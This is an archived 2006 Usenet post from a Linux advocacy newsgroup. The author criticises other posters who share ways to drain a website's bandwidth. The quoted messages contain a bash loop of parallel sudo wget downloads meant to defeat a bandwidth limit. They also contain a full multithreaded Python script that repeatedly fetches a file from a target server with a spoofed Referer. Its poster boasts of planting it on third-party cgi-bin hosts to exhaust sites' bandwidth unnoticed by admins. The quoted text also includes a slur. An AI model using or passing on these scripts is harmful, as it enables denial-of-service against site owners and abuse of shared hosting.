Home Messages Index
[Date Prev][Date Next][Thread Prev][Thread Next]
Author IndexDate IndexThread Index

Re: OT: Download Windows Vista For Free.

  • Subject: Re: OT: Download Windows Vista For Free.
  • From: Hadron Quark <qadronhuark@xxxxxxxxxxx>
  • Date: Sun, 24 Sep 2006 17:38:55 +0200
  • Cancel-lock: sha1:36NjY2TbKv49XBJtNpw1NdGRHCg=
  • Newsgroups: comp.os.linux.advocacy
  • Organization: CERN LHC - http://public.web.cern.ch/public/
  • References: <hbuch25mqo6fjuviq883o46b1qemddl6u0@4ax.com> <pan.2006.09.24.13.58.37.571692@suseoss101.eu> <1637854.xxB4Hajxik@schestowitz.com> <20060924160508.682a2cd6@localhost.localdomain> <3878153.419Q6865xt@schestowitz.com> <20060924162910.3d9dfbe7@localhost.localdomain>
  • User-agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (gnu/linux)
  • Xref: news.mcc.ac.uk comp.os.linux.advocacy:1159492
ed <ed@xxxxxxxxxxx> writes:

> On Sun, 24 Sep 2006 16:14:47 +0100
> Roy Schestowitz <newsgroups@xxxxxxxxxxxxxxx> wrote:
>
>> In case of bandwidth limit per download,
>> 
>> while [ true ] ;
>> do
>>   sudo nice --adjustment=-20 wget -O - http://tinyurl.com/kfgau >
>>   /dev/null & sudo nice --adjustment=-20 wget -O -
>>   http://tinyurl.com/kfgau > /dev/null & sudo nice --adjustment=-20
>>   wget -O - http://tinyurl.com/kfgau > /dev/null ;
>> done ;
>> 
>> By the way, I thought about outputting to /dev/null, but couldn't find
>> the option (still not familiar with the weath of options in man wget).
>
> Heh this is getting close to those scripts I would write when some cunt
> puts my email address in plain view on a website, with a referral value
> of something like "http://REMOVE.MY.EMAIL.ADDRESS.YOU.SICKO/";, then wait
> for the bandwidth exceeded notice to appear on their site... They soon
> get the message.

I never had you tagged as a script kiddy.

Yet more unsavoury action from Roy and his gang. I'm tempted to raise
this with your ISP. But that would make me as bad as you!

>
> Perl has some nice functionality for getting pages many times over,
> often overlooked though, is python:
>

And now you're telling how to too. You should be ashamed of yourself.

> #!/usr/bin/python
>
> import thread,time,sys,socket
>
> def mythread():
> 	server = 'server'
> 	path = '/file'
> 	bytes = 0
>
> 	while(1):
> 		s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
> 		s.connect((server, 80))
> 		s.send( "GET %s HTTP/1.1\r\n" % path );
> 		s.send( "Referer: http://REMOVE.MY.EMAIL.ADDRESS/\r\n"; )
> 		s.send( "Host:%s\r\n" % server )
> 		s.send( "Connection:close\r\n\r\n" );
>
> 		while(1):
> 			data = s.recv(1024)
> 			if not data:
> 				break
>
> 			bytes += len(data)
>
> 		print( "bytes: %d" % bytes )
> 		bytes = 0
> 		
> 		sys.stdout.flush()
> 	
>
> def main():
> 	print "Content-type: text/plain\r\n\r\n"
>
> 	for i in range( 1, 10 ):
> 		thread.start_new_thread( mythread, ())
> 	
> 	while( 1 ):
> 		time.sleep( 0.5 )
>  
> main()
>
> That script was uploaded to a few hosts where I have cgi-bin access, in
> nice fast data centres... read into this what you will ;) Most admins
> never think about python as being something that can be used as a
> resource hog, everyone knows that perl can be used to this sort of thing
> and as such threads are often disabled, as with php. Python on the other
> hand, whats that?

-- 
> No manual is ever necessary.
May I politely interject here: BULLSHIT.  That's the biggest Apple lie of all!
		-- Discussion in comp.os.linux.misc on the intuitiveness of interfaces

[Date Prev][Date Next][Thread Prev][Thread Next]
Author IndexDate IndexThread Index